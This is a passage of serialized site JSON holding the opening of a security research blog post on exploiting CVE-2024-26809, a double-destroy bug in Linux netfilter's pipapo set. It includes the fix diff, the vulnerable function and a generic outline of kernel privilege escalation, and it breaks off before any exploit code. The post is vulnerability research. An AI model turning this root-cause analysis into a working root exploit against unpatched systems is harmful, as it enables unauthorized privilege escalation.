",{"type":23,"tag":458,"props":50475,"children":50478},{"href":50476,"rel":50477},"https://osec.io/blog/2023-11-01-metamask-snaps",[462],[50479],{"type":28,"value":50480},"in our last article",{"type":28,"value":6456},{"type":23,"tag":458,"props":50483,"children":50485},{"href":30388,"ariaLabel":18524,"className":50484,"dataFootnoteBackref":7},[18526],[50486],{"type":28,"value":18529},{"type":23,"tag":2843,"props":50488,"children":50489},{},[50490],{"type":28,"value":2847},{"title":7,"searchDepth":54,"depth":54,"links":50492},[50493,50497,50503,50509,50510,50511],{"id":18944,"depth":54,"text":18947,"children":50494},[50495,50496],{"id":29014,"depth":76,"text":29017},{"id":47114,"depth":76,"text":47117},{"id":47870,"depth":54,"text":47873,"children":50498},[50499,50500,50501,50502],{"id":48121,"depth":76,"text":48124},{"id":48596,"depth":76,"text":48599},{"id":49253,"depth":76,"text":49256},{"id":49376,"depth":76,"text":49379},{"id":49494,"depth":54,"text":49497,"children":50504},[50505,50506,50507,50508],{"id":49622,"depth":76,"text":49625},{"id":49984,"depth":76,"text":49987},{"id":50144,"depth":76,"text":50147},{"id":50379,"depth":76,"text":50382},{"id":50408,"depth":54,"text":50411},{"id":2811,"depth":54,"text":2814},{"id":15472,"depth":54,"text":18421},"content:blog:2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era",{"_path":50516,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":50517,"description":50518,"author":50519,"image":50520,"date":50522,"isFeatured":18,"tags":50523,"onBlogPage":18,"body":50526,"_type":2864,"_id":60907,"_source":2866,"_file":60908,"_stem":60909,"_extension":2869},"/blog/2024-11-25-netfilter-universal-root-1-day","OtterRoot: Netfilter Universal Root 1-day","A peek into the state of Linux kernel security and the open-source patch-gap. We explore how we monitored commits to find new bug fixes and achieved 0day-like capabilities by exploiting a 1-day vulnerability.","pedro",{"src":50521,"height":9263,"width":5724},"/posts/netfilter-universal-root-1-day/cover.png","2024-11-25",[50524,50525],"kernal","linux",{"type":20,"children":50527,"toc":60875},[50528,50541,50555,50560,50566,50576,50581,50587,50592,50610,50624,50633,50666,50671,50677,50696,50729,50735,50748,50958,51025,51589,51608,51833,51892,51898,51918,51958,52146,52151,52302,52358,52363,52877,52896,53165,53191,53700,53767,53773,53809,53814,54080,54113,54125,54152,54164,54169,54175,54196,54202,54223,54246,55078,55084,55124,55664,55675,55709,55776,55830,56062,56068,56112,56576,56582,56593,56623,56706,56711,56716,56752,56804,56835,57390,57396,57413,57419,57424,57430,57458,57651,57671,57687,58282,58288,58323,58346,58358,58364,58392,58989,59014,59983,59994,60007,60020,60786,60800,60806,60818,60824,60852,60857,60861,60866,60871],{"type":23,"tag":24,"props":50529,"children":50530},{},[50531,50533,50540],{"type":28,"value":50532},"In late March, I attempted to monitor commits in Linux kernel subsystems that are hotspots for exploitable bugs, partially as an experiment to study how feasible it is to maintain LPE/container escape capabilities by patch-gapping/cycling 1-days, but also to submit to the ",{"type":23,"tag":458,"props":50534,"children":50537},{"href":50535,"rel":50536},"https://google.github.io/security-research/kernelctf/rules.html",[462],[50538],{"type":28,"value":50539},"KernelCTF VRP",{"type":28,"value":706},{"type":23,"tag":24,"props":50542,"children":50543},{},[50544,50546,50553],{"type":28,"value":50545},"During the research, I quickly came across an exploitable bug fixed in netfilter, which was labeled CVE-2024-26809 (originally discovered by ",{"type":23,"tag":458,"props":50547,"children":50550},{"href":50548,"rel":50549},"https://github.com/conlonialC",[462],[50551],{"type":28,"value":50552},"lonial con",{"type":28,"value":50554},") and was able to exploit it in the KernelCTF LTS instance and write a universal exploit that runs across different kernel builds without the need to recompile with different symbols or ROP gadgets.",{"type":23,"tag":24,"props":50556,"children":50557},{},[50558],{"type":28,"value":50559},"In this post, I'll discuss how I exploited a 1day to obtain 0day-like LPE/container escape capabilities for around two months by quickly abusing the patch-gap to write an exploit before the fix could go downstream. I'll also share my journey analyzing the patch to understand the bug, isolate the commit(s) that introduced it, exploit it in the KernelCTF VRP, and, finally, how I developed a universal exploit to target mainstream distros.",{"type":23,"tag":446,"props":50561,"children":50563},{"id":50562},"the-kernel",[50564],{"type":28,"value":50565},"The kernel",{"type":23,"tag":24,"props":50567,"children":50568},{},[50569,50571],{"type":28,"value":50570},"The kernel lies at the very core of an OS; its purpose is not to be a regular application but to create a platform that applications can run on top of. The kernel touches hardware directly to implement everything you can expect from your OS, such as user isolation and permissions, networking, filesystem access, memory management, task scheduling, etc.\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀",{"type":23,"tag":3918,"props":50572,"children":50575},{"alt":50573,"src":50574},"image","/posts/netfilter-universal-root-1-day/kernal.png",[],{"type":23,"tag":24,"props":50577,"children":50578},{},[50579],{"type":28,"value":50580},"The kernel exposes an interface that user applications can use to request things they can't do directly (e.g. map some memory to my process' virtual address space, expose some file to my process, open a network socket, etc.). This is called the syscall interface, the main form of passing data from userspace to kernelspace.",{"type":23,"tag":546,"props":50582,"children":50584},{"id":50583},"kernel-exploitation",[50585],{"type":28,"value":50586},"Kernel exploitation",{"type":23,"tag":24,"props":50588,"children":50589},{},[50590],{"type":28,"value":50591},"As the kernel processes requests passed by user applications, it is subject to bugs and security vulnerabilities just as any code would, ranging from logic issues to memory corruptions that attackers can use to hijack the execution in kernel context or escalate privileges in some other way. With that in mind, we can expect the typical kernel exploit to look like this:",{"type":23,"tag":417,"props":50593,"children":50594},{},[50595,50600,50605],{"type":23,"tag":421,"props":50596,"children":50597},{},[50598],{"type":28,"value":50599},"Trigger some memory corruption in some kernel subsystem",{"type":23,"tag":421,"props":50601,"children":50602},{},[50603],{"type":28,"value":50604},"Use it to acquire some stronger primitive (Control-flow, Arb R/W, etc.)",{"type":23,"tag":421,"props":50606,"children":50607},{},[50608],{"type":28,"value":50609},"Use your current primitive to escalate your privileges (usually by changing the creds of your process or something with similar consequences)",{"type":23,"tag":24,"props":50611,"children":50612},{},[50613,50615,50622],{"type":28,"value":50614},"I strongly recommend reading Lkmidas' Intro to Kernel Exploitation ",{"type":23,"tag":458,"props":50616,"children":50619},{"href":50617,"rel":50618},"https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/",[462],[50620],{"type":28,"value":50621},"blog post",{"type":28,"value":50623}," to become more familiar with the topic.",{"type":23,"tag":446,"props":50625,"children":50627},{"id":50626},"nf_tables",[50628],{"type":23,"tag":37,"props":50629,"children":50631},{"className":50630},[],[50632],{"type":28,"value":50626},{"type":23,"tag":24,"props":50634,"children":50635},{},[50636,50641,50643,50649,50650,50656,50658,50664],{"type":23,"tag":37,"props":50637,"children":50639},{"className":50638},[],[50640],{"type":28,"value":50626},{"type":28,"value":50642}," is a component of the netfilter subsystem of the Linux kernel. It is a package filtering mechanism, and it's the current backend used by tools like iptables and Firewalld. Its internals have been thoroughly discussed by other researchers ",{"type":23,"tag":458,"props":50644,"children":50647},{"href":50645,"rel":50646},"https://pwning.tech/nftables",[462],[50648],{"type":28,"value":317},{"type":28,"value":970},{"type":23,"tag":458,"props":50651,"children":50654},{"href":50652,"rel":50653},"https://starlabs.sg/blog/2023/09-nftables-adventures-bug-hunting-and-n-day-exploitation",[462],[50655],{"type":28,"value":3123},{"type":28,"value":50657},". I recommend reading those briefly to understand the hierarchical structure of ",{"type":23,"tag":37,"props":50659,"children":50661},{"className":50660},[],[50662],{"type":28,"value":50663},"nf_table",{"type":28,"value":50665}," objects and how we can manipulate them to create configurable filtering mechanisms.",{"type":23,"tag":24,"props":50667,"children":50668},{},[50669],{"type":28,"value":50670},"For the sake of this blog post I'll omit any details that are not directly related to the vulnerability.",{"type":23,"tag":546,"props":50672,"children":50674},{"id":50673},"transactions",[50675],{"type":28,"value":50676},"Transactions",{"type":23,"tag":24,"props":50678,"children":50679},{},[50680,50682,50687,50689,50694],{"type":28,"value":50681},"A transaction is an interaction that updates ",{"type":23,"tag":37,"props":50683,"children":50685},{"className":50684},[],[50686],{"type":28,"value":50626},{"type":28,"value":50688}," objects/state. It's roughly composed of a batch of operations that modify some ",{"type":23,"tag":37,"props":50690,"children":50692},{"className":50691},[],[50693],{"type":28,"value":50626},{"type":28,"value":50695}," object (adding/removing/editing tables, sets, elements, objects, etc). They are roughly composed of 3 different passes:",{"type":23,"tag":417,"props":50697,"children":50698},{},[50699,50709,50719],{"type":23,"tag":421,"props":50700,"children":50701},{},[50702,50707],{"type":23,"tag":510,"props":50703,"children":50704},{},[50705],{"type":28,"value":50706},"Control plane",{"type":28,"value":50708},"\nPrepare each operation, and if some fail, abort the whole batch; otherwise, commit the entire batch.",{"type":23,"tag":421,"props":50710,"children":50711},{},[50712,50717],{"type":23,"tag":510,"props":50713,"children":50714},{},[50715],{"type":28,"value":50716},"Commit path",{"type":28,"value":50718},"\nAfter the control plane, if all succeed, we apply the changes (effectively modify tables, sets, etc.).",{"type":23,"tag":421,"props":50720,"children":50721},{},[50722,50727],{"type":23,"tag":510,"props":50723,"children":50724},{},[50725],{"type":28,"value":50726},"Abort path",{"type":28,"value":50728},"\nOnly triggered when some error condition is detected in the control plane; undo actions done during the control plane and skip commitment.",{"type":23,"tag":446,"props":50730,"children":50732},{"id":50731},"vulnerability-details",[50733],{"type":28,"value":50734},"Vulnerability details",{"type":23,"tag":24,"props":50736,"children":50737},{},[50738,50740,50746],{"type":28,"value":50739},"Moving on, let's check out the ",{"type":23,"tag":458,"props":50741,"children":50744},{"href":50742,"rel":50743},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b0e256f3dd2ba6532f37c5c22e07cb07a36031ee",[462],[50745],{"type":28,"value":4229},{"type":28,"value":50747}," that fixed the bug.",{"type":23,"tag":31,"props":50749,"children":50751},{"className":2215,"code":50750,"language":2214,"meta":7,"style":7},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\nindex c0ceea068936a6..df8de509024637 100644\n--- a/net/netfilter/nft_set_pipapo.c\n+++ b/net/netfilter/nft_set_pipapo.c\n@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n\n        m = rcu_dereference_protected(priv->match, true);\n\n  if (m) {\n   rcu_barrier();\n \n-  nft_set_pipapo_match_destroy(ctx, set, m);\n-\n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(m, cpu);\n   free_percpu(m->scratch);\n@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n  if (priv->clone) {\n   m = priv->clone;\n \n-  if (priv->dirty)\n-   nft_set_pipapo_match_destroy(ctx, set, m);\n+  nft_set_pipapo_match_destroy(ctx, set, m);\n \n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(priv->clone, cpu);\n",[50752],{"type":23,"tag":37,"props":50753,"children":50754},{"__ignoreMap":7},[50755,50763,50771,50779,50787,50795,50802,50810,50817,50825,50833,50841,50849,50857,50865,50873,50881,50889,50897,50905,50912,50920,50928,50936,50943,50950],{"type":23,"tag":41,"props":50756,"children":50757},{"class":43,"line":44},[50758],{"type":23,"tag":41,"props":50759,"children":50760},{"style":64},[50761],{"type":28,"value":50762},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\n",{"type":23,"tag":41,"props":50764,"children":50765},{"class":43,"line":54},[50766],{"type":23,"tag":41,"props":50767,"children":50768},{"style":70},[50769],{"type":28,"value":50770},"index c0ceea068936a6..df8de509024637 100644\n",{"type":23,"tag":41,"props":50772,"children":50773},{"class":43,"line":76},[50774],{"type":23,"tag":41,"props":50775,"children":50776},{"style":64},[50777],{"type":28,"value":50778},"--- a/net/netfilter/nft_set_pipapo.c\n",{"type":23,"tag":41,"props":50780,"children":50781},{"class":43,"line":85},[50782],{"type":23,"tag":41,"props":50783,"children":50784},{"style":64},[50785],{"type":28,"value":50786},"+++ b/net/netfilter/nft_set_pipapo.c\n",{"type":23,"tag":41,"props":50788,"children":50789},{"class":43,"line":105},[50790],{"type":23,"tag":41,"props":50791,"children":50792},{"style":70},[50793],{"type":28,"value":50794},"@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":23,"tag":41,"props":50796,"children":50797},{"class":43,"line":155},[50798],{"type":23,"tag":41,"props":50799,"children":50800},{"emptyLinePlaceholder":18},[50801],{"type":28,"value":82},{"type":23,"tag":41,"props":50803,"children":50804},{"class":43,"line":186},[50805],{"type":23,"tag":41,"props":50806,"children":50807},{"style":70},[50808],{"type":28,"value":50809},"        m = rcu_dereference_protected(priv->match, true);\n",{"type":23,"tag":41,"props":50811,"children":50812},{"class":43,"line":195},[50813],{"type":23,"tag":41,"props":50814,"children":50815},{"emptyLinePlaceholder":18},[50816],{"type":28,"value":82},{"type":23,"tag":41,"props":50818,"children":50819},{"class":43,"line":905},[50820],{"type":23,"tag":41,"props":50821,"children":50822},{"style":70},[50823],{"type":28,"value":50824},"  if (m) {\n",{"type":23,"tag":41,"props":50826,"children":50827},{"class":43,"line":922},[50828],{"type":23,"tag":41,"props":50829,"children":50830},{"style":70},[50831],{"type":28,"value":50832},"   rcu_barrier();\n",{"type":23,"tag":41,"props":50834,"children":50835},{"class":43,"line":930},[50836],{"type":23,"tag":41,"props":50837,"children":50838},{"style":70},[50839],{"type":28,"value":50840}," \n",{"type":23,"tag":41,"props":50842,"children":50843},{"class":43,"line":939},[50844],{"type":23,"tag":41,"props":50845,"children":50846},{"style":735},[50847],{"type":28,"value":50848},"-  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":23,"tag":41,"props":50850,"children":50851},{"class":43,"line":947},[50852],{"type":23,"tag":41,"props":50853,"children":50854},{"style":735},[50855],{"type":28,"value":50856},"-\n",{"type":23,"tag":41,"props":50858,"children":50859},{"class":43,"line":985},[50860],{"type":23,"tag":41,"props":50861,"children":50862},{"style":70},[50863],{"type":28,"value":50864},"   for_each_possible_cpu(cpu)\n",{"type":23,"tag":41,"props":50866,"children":50867},{"class":43,"line":1058},[50868],{"type":23,"tag":41,"props":50869,"children":50870},{"style":70},[50871],{"type":28,"value":50872},"    pipapo_free_scratch(m, cpu);\n",{"type":23,"tag":41,"props":50874,"children":50875},{"class":43,"line":1084},[50876],{"type":23,"tag":41,"props":50877,"children":50878},{"style":70},[50879],{"type":28,"value":50880},"   free_percpu(m->scratch);\n",{"type":23,"tag":41,"props":50882,"children":50883},{"class":43,"line":1102},[50884],{"type":23,"tag":41,"props":50885,"children":50886},{"style":70},[50887],{"type":28,"value":50888},"@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":23,"tag":41,"props":50890,"children":50891},{"class":43,"line":1110},[50892],{"type":23,"tag":41,"props":50893,"children":50894},{"style":70},[50895],{"type":28,"value":50896},"  if (priv->clone) {\n",{"type":23,"tag":41,"props":50898,"children":50899},{"class":43,"line":1118},[50900],{"type":23,"tag":41,"props":50901,"children":50902},{"style":70},[50903],{"type":28,"value":50904},"   m = priv->clone;\n",{"type":23,"tag":41,"props":50906,"children":50907},{"class":43,"line":1137},[50908],{"type":23,"tag":41,"props":50909,"children":50910},{"style":70},[50911],{"type":28,"value":50840},{"type":23,"tag":41,"props":50913,"children":50914},{"class":43,"line":1163},[50915],{"type":23,"tag":41,"props":50916,"children":50917},{"style":735},[50918],{"type":28,"value":50919},"-  if (priv->dirty)\n",{"type":23,"tag":41,"props":50921,"children":50922},{"class":43,"line":1188},[50923],{"type":23,"tag":41,"props":50924,"children":50925},{"style":735},[50926],{"type":28,"value":50927},"-   nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":23,"tag":41,"props":50929,"children":50930},{"class":43,"line":1979},[50931],{"type":23,"tag":41,"props":50932,"children":50933},{"style":164},[50934],{"type":28,"value":50935},"+  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":23,"tag":41,"props":50937,"children":50938},{"class":43,"line":2002},[50939],{"type":23,"tag":41,"props":50940,"children":50941},{"style":70},[50942],{"type":28,"value":50840},{"type":23,"tag":41,"props":50944,"children":50945},{"class":43,"line":3835},[50946],{"type":23,"tag":41,"props":50947,"children":50948},{"style":70},[50949],{"type":28,"value":50864},{"type":23,"tag":41,"props":50951,"children":50952},{"class":43,"line":3895},[50953],{"type":23,"tag":41,"props":50954,"children":50955},{"style":70},[50956],{"type":28,"value":50957},"    pipapo_free_scratch(priv->clone, cpu);\n",{"type":23,"tag":24,"props":50959,"children":50960},{},[50961,50963,50969,50970,50976,50978,50984,50986,50992,50994,50999,51001,51007,51009,51015,51017,51023],{"type":28,"value":50962},"If the ",{"type":23,"tag":37,"props":50964,"children":50966},{"className":50965},[],[50967],{"type":28,"value":50968},"priv->dirty",{"type":28,"value":1361},{"type":23,"tag":37,"props":50971,"children":50973},{"className":50972},[],[50974],{"type":28,"value":50975},"priv->clone",{"type":28,"value":50977}," variables are set, ",{"type":23,"tag":37,"props":50979,"children":50981},{"className":50980},[],[50982],{"type":28,"value":50983},"nft_set_pipapo_match_destroy()",{"type":28,"value":50985}," is called twice, once with ",{"type":23,"tag":37,"props":50987,"children":50989},{"className":50988},[],[50990],{"type":28,"value":50991},"priv->match",{"type":28,"value":50993}," as an argument, and then again with ",{"type":23,"tag":37,"props":50995,"children":50997},{"className":50996},[],[50998],{"type":28,"value":50975},{"type":28,"value":51000},". Looking at what this function does, we can see that it is iterating over the ",{"type":23,"tag":37,"props":51002,"children":51004},{"className":51003},[],[51005],{"type":28,"value":51006},"setelem",{"type":28,"value":51008},"s of the ",{"type":23,"tag":37,"props":51010,"children":51012},{"className":51011},[],[51013],{"type":28,"value":51014},"set",{"type":28,"value":51016}," and calling ",{"type":23,"tag":37,"props":51018,"children":51020},{"className":51019},[],[51021],{"type":28,"value":51022},"nf_tables_set_elem_destroy()",{"type":28,"value":51024}," for each of them.",{"type":23,"tag":31,"props":51026,"children":51028},{"className":16503,"code":51027,"language":3146,"meta":7,"style":7},"static void nft_set_pipapo_match_destroy(const struct nft_ctx *ctx,\n      const struct nft_set *set,\n      struct nft_pipapo_match *m)\n{\n struct nft_pipapo_field *f;\n int i, r;\n\n for (i = 0, f = m->f; i \u003C m->field_count - 1; i++, f++)\n  ;\n\n for (r = 0; r \u003C f->rules; r++) {\n  struct nft_pipapo_elem *e;\n\n  if (r \u003C f->rules - 1 && f->mt[r + 1].e == f->mt[r].e)\n   continue;\n\n  e = f->mt[r].e;\n\n  nf_tables_set_elem_destroy(ctx, set, &e->priv);\n }\n}\n",[51029],{"type":23,"tag":37,"props":51030,"children":51031},{"__ignoreMap":7},[51032,51079,51107,51133,51140,51161,51174,51181,51278,51286,51293,51348,51369,51376,51479,51491,51498,51534,51541,51575,51582],{"type":23,"tag":41,"props":51033,"children":51034},{"class":43,"line":44},[51035,51040,51045,51050,51054,51058,51062,51067,51071,51075],{"type":23,"tag":41,"props":51036,"children":51037},{"style":64},[51038],{"type":28,"value":51039},"static",{"type":23,"tag":41,"props":51041,"children":51042},{"style":64},[51043],{"type":28,"value":51044}," void",{"type":23,"tag":41,"props":51046,"children":51047},{"style":114},[51048],{"type":28,"value":51049}," nft_set_pipapo_match_destroy",{"type":23,"tag":41,"props":51051,"children":51052},{"style":70},[51053],{"type":28,"value":1737},{"type":23,"tag":41,"props":51055,"children":51056},{"style":64},[51057],{"type":28,"value":846},{"type":23,"tag":41,"props":51059,"children":51060},{"style":64},[51061],{"type":28,"value":21138},{"type":23,"tag":41,"props":51063,"children":51064},{"style":70},[51065],{"type":28,"value":51066}," nft_ctx ",{"type":23,"tag":41,"props":51068,"children":51069},{"style":170},[51070],{"type":28,"value":377},{"type":23,"tag":41,"props":51072,"children":51073},{"style":858},[51074],{"type":28,"value":20269},{"type":23,"tag":41,"props":51076,"children":51077},{"style":70},[51078],{"type":28,"value":3506},{"type":23,"tag":41,"props":51080,"children":51081},{"class":43,"line":54},[51082,51086,51090,51095,51099,51103],{"type":23,"tag":41,"props":51083,"children":51084},{"style":64},[51085],{"type":28,"value":31541},{"type":23,"tag":41,"props":51087,"children":51088},{"style":64},[51089],{"type":28,"value":21138},{"type":23,"tag":41,"props":51091,"children":51092},{"style":70},[51093],{"type":28,"value":51094}," nft_set ",{"type":23,"tag":41,"props":51096,"children":51097},{"style":170},[51098],{"type":28,"value":377},{"type":23,"tag":41,"props":51100,"children":51101},{"style":858},[51102],{"type":28,"value":51014},{"type":23,"tag":41,"props":51104,"children":51105},{"style":70},[51106],{"type":28,"value":3506},{"type":23,"tag":41,"props":51108,"children":51109},{"class":43,"line":76},[51110,51115,51120,51124,51129],{"type":23,"tag":41,"props":51111,"children":51112},{"style":64},[51113],{"type":28,"value":51114},"      struct",{"type":23,"tag":41,"props":51116,"children":51117},{"style":70},[51118],{"type":28,"value":51119}," nft_pipapo_match ",{"type":23,"tag":41,"props":51121,"children":51122},{"style":170},[51123],{"type":28,"value":377},{"type":23,"tag":41,"props":51125,"children":51126},{"style":858},[51127],{"type":28,"value":51128},"m",{"type":23,"tag":41,"props":51130,"children":51131},{"style":70},[51132],{"type":28,"value":1969},{"type":23,"tag":41,"props":51134,"children":51135},{"class":43,"line":85},[51136],{"type":23,"tag":41,"props":51137,"children":51138},{"style":70},[51139],{"type":28,"value":1559},{"type":23,"tag":41,"props":51141,"children":51142},{"class":43,"line":105},[51143,51147,51152,51156],{"type":23,"tag":41,"props":51144,"children":51145},{"style":64},[51146],{"type":28,"value":21138},{"type":23,"tag":41,"props":51148,"children":51149},{"style":70},[51150],{"type":28,"value":51151}," nft_pipapo_field ",{"type":23,"tag":41,"props":51153,"children":51154},{"style":170},[51155],{"type":28,"value":377},{"type":23,"tag":41,"props":51157,"children":51158},{"style":70},[51159],{"type":28,"value":51160},"f;\n",{"type":23,"tag":41,"props":51162,"children":51163},{"class":43,"line":155},[51164,51169],{"type":23,"tag":41,"props":51165,"children":51166},{"style":64},[51167],{"type":28,"value":51168}," int",{"type":23,"tag":41,"props":51170,"children":51171},{"style":70},[51172],{"type":28,"value":51173}," i, r;\n",{"type":23,"tag":41,"props":51175,"children":51176},{"class":43,"line":186},[51177],{"type":23,"tag":41,"props":51178,"children":51179},{"emptyLinePlaceholder":18},[51180],{"type":28,"value":82},{"type":23,"tag":41,"props":51182,"children":51183},{"class":43,"line":195},[51184,51189,51194,51198,51202,51207,51211,51216,51220,51224,51229,51233,51237,51241,51246,51251,51255,51260,51265,51270,51274],{"type":23,"tag":41,"props":51185,"children":51186},{"style":58},[51187],{"type":28,"value":51188}," for",{"type":23,"tag":41,"props":51190,"children":51191},{"style":70},[51192],{"type":28,"value":51193}," (i ",{"type":23,"tag":41,"props":51195,"children":51196},{"style":170},[51197],{"type":28,"value":2381},{"type":23,"tag":41,"props":51199,"children":51200},{"style":164},[51201],{"type":28,"value":392},{"type":23,"tag":41,"props":51203,"children":51204},{"style":70},[51205],{"type":28,"value":51206},", f ",{"type":23,"tag":41,"props":51208,"children":51209},{"style":170},[51210],{"type":28,"value":2381},{"type":23,"tag":41,"props":51212,"children":51213},{"style":858},[51214],{"type":28,"value":51215}," m",{"type":23,"tag":41,"props":51217,"children":51218},{"style":70},[51219],{"type":28,"value":2453},{"type":23,"tag":41,"props":51221,"children":51222},{"style":858},[51223],{"type":28,"value":33078},{"type":23,"tag":41,"props":51225,"children":51226},{"style":70},[51227],{"type":28,"value":51228},"; i ",{"type":23,"tag":41,"props":51230,"children":51231},{"style":170},[51232],{"type":28,"value":1012},{"type":23,"tag":41,"props":51234,"children":51235},{"style":858},[51236],{"type":28,"value":51215},{"type":23,"tag":41,"props":51238,"children":51239},{"style":70},[51240],{"type":28,"value":2453},{"type":23,"tag":41,"props":51242,"children":51243},{"style":858},[51244],{"type":28,"value":51245},"field_count",{"type":23,"tag":41,"props":51247,"children":51248},{"style":170},[51249],{"type":28,"value":51250}," -",{"type":23,"tag":41,"props":51252,"children":51253},{"style":164},[51254],{"type":28,"value":167},{"type":23,"tag":41,"props":51256,"children":51257},{"style":70},[51258],{"type":28,"value":51259},"; i",{"type":23,"tag":41,"props":51261,"children":51262},{"style":170},[51263],{"type":28,"value":51264},"++",{"type":23,"tag":41,"props":51266,"children":51267},{"style":70},[51268],{"type":28,"value":51269},", f",{"type":23,"tag":41,"props":51271,"children":51272},{"style":170},[51273],{"type":28,"value":51264},{"type":23,"tag":41,"props":51275,"children":51276},{"style":70},[51277],{"type":28,"value":1969},{"type":23,"tag":41,"props":51279,"children":51280},{"class":43,"line":905},[51281],{"type":23,"tag":41,"props":51282,"children":51283},{"style":70},[51284],{"type":28,"value":51285},"  ;\n",{"type":23,"tag":41,"props":51287,"children":51288},{"class":43,"line":922},[51289],{"type":23,"tag":41,"props":51290,"children":51291},{"emptyLinePlaceholder":18},[51292],{"type":28,"value":82},{"type":23,"tag":41,"props":51294,"children":51295},{"class":43,"line":930},[51296,51300,51305,51309,51313,51318,51322,51326,51330,51335,51340,51344],{"type":23,"tag":41,"props":51297,"children":51298},{"style":58},[51299],{"type":28,"value":51188},{"type":23,"tag":41,"props":51301,"children":51302},{"style":70},[51303],{"type":28,"value":51304}," (r ",{"type":23,"tag":41,"props":51306,"children":51307},{"style":170},[51308],{"type":28,"value":2381},{"type":23,"tag":41,"props":51310,"children":51311},{"style":164},[51312],{"type":28,"value":392},{"type":23,"tag":41,"props":51314,"children":51315},{"style":70},[51316],{"type":28,"value":51317},"; r ",{"type":23,"tag":41,"props":51319,"children":51320},{"style":170},[51321],{"type":28,"value":1012},{"type":23,"tag":41,"props":51323,"children":51324},{"style":858},[51325],{"type":28,"value":32964},{"type":23,"tag":41,"props":51327,"children":51328},{"style":70},[51329],{"type":28,"value":2453},{"type":23,"tag":41,"props":51331,"children":51332},{"style":858},[51333],{"type":28,"value":51334},"rules",{"type":23,"tag":41,"props":51336,"children":51337},{"style":70},[51338],{"type":28,"value":51339},"; r",{"type":23,"tag":41,"props":51341,"children":51342},{"style":170},[51343],{"type":28,"value":51264},{"type":23,"tag":41,"props":51345,"children":51346},{"style":70},[51347],{"type":28,"value":152},{"type":23,"tag":41,"props":51349,"children":51350},{"class":43,"line":939},[51351,51355,51360,51364],{"type":23,"tag":41,"props":51352,"children":51353},{"style":64},[51354],{"type":28,"value":5797},{"type":23,"tag":41,"props":51356,"children":51357},{"style":70},[51358],{"type":28,"value":51359}," nft_pipapo_elem ",{"type":23,"tag":41,"props":51361,"children":51362},{"style":170},[51363],{"type":28,"value":377},{"type":23,"tag":41,"props":51365,"children":51366},{"style":70},[51367],{"type":28,"value":51368},"e;\n",{"type":23,"tag":41,"props":51370,"children":51371},{"class":43,"line":947},[51372],{"type":23,"tag":41,"props":51373,"children":51374},{"emptyLinePlaceholder":18},[51375],{"type":28,"value":82},{"type":23,"tag":41,"props":51377,"children":51378},{"class":43,"line":985},[51379,51383,51387,51391,51395,51399,51403,51407,51411,51415,51419,51423,51428,51433,51437,51441,51445,51450,51454,51458,51462,51466,51471,51475],{"type":23,"tag":41,"props":51380,"children":51381},{"style":58},[51382],{"type":28,"value":31388},{"type":23,"tag":41,"props":51384,"children":51385},{"style":70},[51386],{"type":28,"value":51304},{"type":23,"tag":41,"props":51388,"children":51389},{"style":170},[51390],{"type":28,"value":1012},{"type":23,"tag":41,"props":51392,"children":51393},{"style":858},[51394],{"type":28,"value":32964},{"type":23,"tag":41,"props":51396,"children":51397},{"style":70},[51398],{"type":28,"value":2453},{"type":23,"tag":41,"props":51400,"children":51401},{"style":858},[51402],{"type":28,"value":51334},{"type":23,"tag":41,"props":51404,"children":51405},{"style":170},[51406],{"type":28,"value":51250},{"type":23,"tag":41,"props":51408,"children":51409},{"style":164},[51410],{"type":28,"value":167},{"type":23,"tag":41,"props":51412,"children":51413},{"style":170},[51414],{"type":28,"value":2472},{"type":23,"tag":41,"props":51416,"children":51417},{"style":858},[51418],{"type":28,"value":32964},{"type":23,"tag":41,"props":51420,"children":51421},{"style":70},[51422],{"type":28,"value":2453},{"type":23,"tag":41,"props":51424,"children":51425},{"style":858},[51426],{"type":28,"value":51427},"mt",{"type":23,"tag":41,"props":51429,"children":51430},{"style":70},[51431],{"type":28,"value":51432},"[r ",{"type":23,"tag":41,"props":51434,"children":51435},{"style":170},[51436],{"type":28,"value":4383},{"type":23,"tag":41,"props":51438,"children":51439},{"style":164},[51440],{"type":28,"value":167},{"type":23,"tag":41,"props":51442,"children":51443},{"style":70},[51444],{"type":28,"value":50343},{"type":23,"tag":41,"props":51446,"children":51447},{"style":858},[51448],{"type":28,"value":51449},"e",{"type":23,"tag":41,"props":51451,"children":51452},{"style":170},[51453],{"type":28,"value":3282},{"type":23,"tag":41,"props":51455,"children":51456},{"style":858},[51457],{"type":28,"value":32964},{"type":23,"tag":41,"props":51459,"children":51460},{"style":70},[51461],{"type":28,"value":2453},{"type":23,"tag":41,"props":51463,"children":51464},{"style":858},[51465],{"type":28,"value":51427},{"type":23,"tag":41,"props":51467,"children":51468},{"style":70},[51469],{"type":28,"value":51470},"[r].",{"type":23,"tag":41,"props":51472,"children":51473},{"style":858},[51474],{"type":28,"value":51449},{"type":23,"tag":41,"props":51476,"children":51477},{"style":70},[51478],{"type":28,"value":1969},{"type":23,"tag":41,"props":51480,"children":51481},{"class":43,"line":1058},[51482,51487],{"type":23,"tag":41,"props":51483,"children":51484},{"style":58},[51485],{"type":28,"value":51486},"   